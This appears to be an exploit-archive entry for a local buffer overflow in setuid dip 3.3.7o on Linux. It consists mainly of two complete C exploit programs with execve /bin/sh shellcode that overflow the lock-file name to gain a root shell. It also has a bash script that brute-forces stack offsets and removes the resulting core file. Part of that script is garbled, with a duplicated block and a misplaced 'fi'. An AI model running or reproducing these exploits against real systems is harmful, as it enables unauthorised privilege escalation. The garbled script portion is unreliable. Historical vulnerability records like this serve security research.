Fred N. van Kempen dip 3.3.7 - Local Buffer Overflow (1)

// source: https://www.securityfocus.com/bid/86/info

A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf()' in line 192 in 'main.c':

sprintf(buf, "%s/LCK..%s", _PATH_LOCKD, nam);

----- dip-exp.c -----
/*
dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
coded by jamez. e-mail: [email protected]

thanks to all ppl from uground.

usage:
gcc -o dip-exp dip3.3.7o-exp.c
./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
*/


char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


#define SIZE 130
/* cause it's a little buffer, i wont use NOP's */

char buffer[SIZE];


unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}


void main(int argc, char * argv[])
{
int i = 0,
offset = 0;
long addr;


if(argc > 1) offset = atoi(argv[1]);

addr = get_esp() - offset - 0xcb;

for(i = 0; i < strlen(shellcode); i++)
buffer[i] = shellcode[i];

for (; i < SIZE; i += 4)
{
buffer[i ] = addr & 0x000000ff;
buffer[i+1] = (addr & 0x0000ff00) >> 8;
buffer[i+2] = (addr & 0x00ff0000) >> 16;
buffer[i+3] = (addr & 0xff000000) >> 24;
}

buffer[SIZE - 1] = 0;

execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
}
----- cut here -----

Another exploit:

------------------------------ dipr.c -----------------------------

/*
* dip-3.3.7o buffer overrun 07 May 1998
*
* sintax: ./dipr <offset>
*
*
* offset: try increments of 50 between 1500 and 3000
*
* tested in linux with dip version 3.3.7o (slak 3.4).
*
* by zef and r00t @promisc.net
*
* http://www.promisc.net
*/

#include <stdio.h>
#include <stdlib.h>

static inline getesp()
{
__asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
int jump,i,n;
unsigned long xaddr;
char *cmd[5], buf[4096];


char code[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

jump=atoi(argv[1]);

for (i=0;i<68;i++)
buf[i]=0x41;

for (n=0,i=68;i<113;i++)
buf[i]=code[n++];

xaddr=getesp()+jump;

buf[i]=xaddr & 0xff;
buf[i+1]=(xaddr >> 8) & 0xff;
buf[i+2]=(xaddr >> 16) & 0xff;
buf[i+3]=(xaddr >> 24) & 0xff;

buf[i+4]=xaddr & 0xff;
buf[i+5]=(xaddr >> 8) & 0xff;
buf[i+6]=(xaddr >> 16) & 0xff;
buf[i+6]=(xaddr >> 16) & 0xff;
buf[i+7]=(xaddr >> 24) & 0xff;

cmd[0]=malloc(17);
strcpy(cmd[0],"/sbin/dip-3.3.7o");

cmd[1]=malloc(3);
strcpy(cmd[1],"-k");

cmd[2]=malloc(3);
strcpy(cmd[2],"-l");

cmd[3]=buf;

cmd[4]=NULL;

execve(cmd[0],cmd,NULL);
}

------------------------------- end -------------------------------


Shell script for easy testing :-)


---------------------------- dipr.test ----------------------------

#/bin/bash
if [ ! -x /sbin/dip-3.3.7o ]
then
echo "could not find file \"/sbin/dip-3.3.7o\"";
exit -1
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
echo "dip executable is not suid"
exit -1
fi
if [ ! -x ./dipr ]
then
echo "could not find file \"./dipr\"";
echo "try compiling dipr.c"
exit -1
fi

x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
fi
if [ ! -u /sbin/dip-3.3.7o ]
then
echo "dip executable is not suid"
exit -1
fi
if [ ! -x ./dipr ]
then
echo "could not find file \"./dipr\"";
echo "try compiling dipr.c"
exit -1
fi

x=2000
false
while [ $x -lt 3000 -a $? -ne 0 ]
do
echo offset=$x
x=$[x+50]
./dipr $x
done
rm -f core